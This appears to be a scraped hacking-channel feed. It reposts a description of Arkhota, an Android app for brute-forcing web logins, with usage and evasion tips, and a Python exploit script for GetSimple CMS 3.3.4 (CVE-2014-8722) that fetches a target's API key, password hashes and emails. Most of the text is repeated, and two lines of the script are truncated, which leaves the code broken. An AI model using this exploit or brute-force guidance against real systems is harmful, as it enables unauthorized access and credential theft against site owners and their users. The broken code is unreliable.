Summary :Continue reading on Medium » (https://shahjerry33.medium.com/server-side-request-forgery-a-forged-document-6359ef25058d?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Server Side Request Forgery - A Forged Document
Summary :
Arkhota - A Web Brute Forcer For Android
http://www.kitploit.com/2021/06/arkhota-web-brute-forcer-for-android.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2021/06/arkhota-web-brute-forcer-for-android.html
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Arkhota - A Web Brute Forcer For Android
What?
Arkhota is a web (HTTP/S) brute forcer for Android.
Why?
A web brute forcer is always in a hacker's computer, for obvious reasons. Sometimes attacks require to be quick or/and with minimal device preparation. Also a phone takes less attention rather than a laptop/computer. For this situations here's Arkhota.
Download
You can download APK from there (https://github.com/ALW1EZ/Arkhota/releases).
Usage
Explanation is in order of objects in the APK from top to bottom.
Banner
Banner, version & author You can long click to version to see about page.
Connection
URL (required) An URL to make request. Body You need to specify a body if you are going to make a POST request.
Userlist / Wordlist
Userlist selector Single: Sets a single username Generate: Generates runtime with given options Wordlists: Sets prepared wordlist Custom wordlist: You can place your custom wordlist (https://www.kitploit.com/search/label/Custom%20Wordlist) to /sdcard/ABF/ Then this selector will have it (if required permissions given.). Username box You need to specify a username if you selected Single. Charset selectors [W] You need to specify charset, min & max length to generate runtime. If you selected Generate, checkboxes will help you to select._ Prefix & Suffix You can specify prefix & suffix to be added to your username
It's same for the password part too.
Configuration
Beep switch Beeps if attack success. Fail/Success switch Decides how to react connection response POST/GET switch Decides type of connection User-Agent _Sets user-agent for connection. if "Original UA" set, then original user-agent set Othervise given text will set to user-agent_
tip: It has autocomplete for several user-agents, all of them starts with "Mozilla", type and select one if you don't want to expose your original ua, but you don't know what to set
Timeout Sets timeout for connection, in milliseconds Cookie Sets cookie (https://www.kitploit.com/search/label/Cookie) value for connection Regex (required) Determines what to look in connection response Empty box Tried username:password pairs & result will shown there. [W] Start Starts attack!
Important
URL & Body: ^USER^ & ^PASS^ are placeholders for username and password. You need to place them in url or the body (depends what type you choose to connection) Regex & Fail/Success switch: These two determines the result of the attack. If switch points to "Fail", and if given regex found in the response, this means, this is a fail, continue to attack. if switch points to "Success", and if given regex found in response, this means this is a success!, write result to empty box (in format "FOUND: username:password") and stop the attack. Copying: Long click on the empty box will copy the content. if password found, it copies in username:password format Otherwise copies whole content. If attack is over and unsuccessful, it just stops at the last user:password.
Screenshots & Videos
___________________________
@hacking_Attack
@Hacking_Video
Arkhota is a web (HTTP/S) brute forcer for Android.
Why?
A web brute forcer is always in a hacker's computer, for obvious reasons. Sometimes attacks require to be quick or/and with minimal device preparation. Also a phone takes less attention rather than a laptop/computer. For this situations here's Arkhota.
Download
You can download APK from there (https://github.com/ALW1EZ/Arkhota/releases).
Usage
Explanation is in order of objects in the APK from top to bottom.
Banner
Banner, version & author You can long click to version to see about page.
Connection
URL (required) An URL to make request. Body You need to specify a body if you are going to make a POST request.
Userlist / Wordlist
Userlist selector Single: Sets a single username Generate: Generates runtime with given options Wordlists: Sets prepared wordlist Custom wordlist: You can place your custom wordlist (https://www.kitploit.com/search/label/Custom%20Wordlist) to /sdcard/ABF/ Then this selector will have it (if required permissions given.). Username box You need to specify a username if you selected Single. Charset selectors [W] You need to specify charset, min & max length to generate runtime. If you selected Generate, checkboxes will help you to select._ Prefix & Suffix You can specify prefix & suffix to be added to your username
It's same for the password part too.
Configuration
Beep switch Beeps if attack success. Fail/Success switch Decides how to react connection response POST/GET switch Decides type of connection User-Agent _Sets user-agent for connection. if "Original UA" set, then original user-agent set Othervise given text will set to user-agent_
tip: It has autocomplete for several user-agents, all of them starts with "Mozilla", type and select one if you don't want to expose your original ua, but you don't know what to set
Timeout Sets timeout for connection, in milliseconds Cookie Sets cookie (https://www.kitploit.com/search/label/Cookie) value for connection Regex (required) Determines what to look in connection response Empty box Tried username:password pairs & result will shown there. [W] Start Starts attack!
Important
URL & Body: ^USER^ & ^PASS^ are placeholders for username and password. You need to place them in url or the body (depends what type you choose to connection) Regex & Fail/Success switch: These two determines the result of the attack. If switch points to "Fail", and if given regex found in the response, this means, this is a fail, continue to attack. if switch points to "Success", and if given regex found in response, this means this is a success!, write result to empty box (in format "FOUND: username:password") and stop the attack. Copying: Long click on the empty box will copy the content. if password found, it copies in username:password format Otherwise copies whole content. If attack is over and unsuccessful, it just stops at the last user:password.
Screenshots & Videos
___________________________
@hacking_Attack
@Hacking_Video
GitHub
Releases · ALW1EZ/Arkhota
Arkhota, a web brute forcer for Android. Contribute to ALW1EZ/Arkhota development by creating an account on GitHub.
[W]arning
Runtime changeable parameters
Every parameter editable during attack, but none of the parameters will changeable during attack, except two. "Fail/Success" and "Beep" switch. This means: If you started the attack, and want to change a parameter (e.g charset), editing will not change anything, this changes applies after pressing start button. BUT If you started the attack with beep option on, and you want to change it. You don't need to re-start attack, just click on switch and it won't beep when attack success.
About "Generate" & Custom wordlists
The Generate option is NOT recommended Runtime generating & parsing is a really hard work for a phone. Also it's not stable, all possible words will be generated, but may not be sequential. If you really need to select it, keep everything minimum. If your phone freezes or crashes, you know selected options is not suitable your phone's processor. Do NOT place big wordlists (https://www.kitploit.com/search/label/Wordlists) to /ABF/ directory. This will cause freezing & crashing. And do NOT forget standard smartphones have far less processor power rather than a computer, this project is for small and quick attacks.
About speed
Depends on your speed of network & remote (https://www.kitploit.com/search/label/Remote) host.
How to stop the attack
This version of Arkhota doesn't support "stopping the attack". BUT that doesn't mean you cannot stop. Just change "Fail/Success" switch to opposite direction and wait one more request. This will cause a false-positive on purpose to stop. Or You can simply close and re-open the application.
PS: I know.. I know... This project gave me a headache, I didn't even try to put a stop button there.
Download Arkhota (https://github.com/ALW1EZ/Arkhota)
___________________________
@hacking_Attack
@Hacking_Video
Runtime changeable parameters
Every parameter editable during attack, but none of the parameters will changeable during attack, except two. "Fail/Success" and "Beep" switch. This means: If you started the attack, and want to change a parameter (e.g charset), editing will not change anything, this changes applies after pressing start button. BUT If you started the attack with beep option on, and you want to change it. You don't need to re-start attack, just click on switch and it won't beep when attack success.
About "Generate" & Custom wordlists
The Generate option is NOT recommended Runtime generating & parsing is a really hard work for a phone. Also it's not stable, all possible words will be generated, but may not be sequential. If you really need to select it, keep everything minimum. If your phone freezes or crashes, you know selected options is not suitable your phone's processor. Do NOT place big wordlists (https://www.kitploit.com/search/label/Wordlists) to /ABF/ directory. This will cause freezing & crashing. And do NOT forget standard smartphones have far less processor power rather than a computer, this project is for small and quick attacks.
About speed
Depends on your speed of network & remote (https://www.kitploit.com/search/label/Remote) host.
How to stop the attack
This version of Arkhota doesn't support "stopping the attack". BUT that doesn't mean you cannot stop. Just change "Fail/Success" switch to opposite direction and wait one more request. This will cause a false-positive on purpose to stop. Or You can simply close and re-open the application.
PS: I know.. I know... This project gave me a headache, I didn't even try to put a stop button there.
Download Arkhota (https://github.com/ALW1EZ/Arkhota)
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.
Continue reading on Medium » (https://brijesh-patel.medium.com/what-is-cyber-kill-chain-bbe955624fb8?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
GetSimple CMS 3.3.4 Information Disclosure
https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
GetSimple CMS version 3.3.4 suffers from an information disclosure vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
GetSimple CMS 3.3.4 Information Disclosure
https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
GetSimple CMS version 3.3.4 suffers from an information disclosure vulnerability.
MD5 |
954698df1ae195237a6d1a9f005c0f3fDownload
# Exploit Title: GetSimple CMS 3.3.4 - Information Disclosure
# Date 01.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: http://get-simple.info/
# Software Link: https://github.com/GetSimpleCMS/GetSimpleCMS/archive/refs/tags/v3.3.4.zip
# Version: 3.3.4
# CVE: CVE-2014-8722
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2014-8722-Exploit
'''
Description:
GetSimple CMS 3.3.4 allows remote attackers to obtain sensitive information via a direct request to
(1) data/users/<username.xml,
(2) backups/users/<username.xml.bak,
(3) data/other/authorization.xml, or
(4) data/other/appid.xml.
'''
'''
Import required modules:
'''
import sys
import requests
'''
User-Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
cmspath = sys.argv[3]
print('')
username = input("Do you know the username? Y/N: ")
if username == 'Y':
print('')
username = True
username_string = input('Please enter the username: ')
else:
print('')
username = False
print('No problem, you will still get the API key')
'''
Get Api-Key:
'''
url = 'http://' + target_ip + ':' + target_port + cmspath + '/data/other/authorization.xml'
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0"
}
x = requests.get(url, headers=header).text
start = x.find('[') + 7
end = x.find(']')
api_key = x[start:end]
print('')
print('Informations:')
print('')
print('[*] API Key: ' + api_key)
if username:
'''
Get Email and Passwordhash:
'''
url = "http://" + target_ip + ':' + target_port + cmspath + '/data/users/' + username_string + '.xml'
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0"
}
x = requests.get(url, headers=header).text
start = x[x.find('PWD>'):]
passwordhash = start[start.find('>') +1 :start.find('
print('[*] Hashed Password: ' + passwordhash)
start = x[x.find('EMAIL>'):]
email = start[start.find('>') + 1 : start.find('
print('[*] Email: ' + email)
print('')
Source:packetstormsecurity.com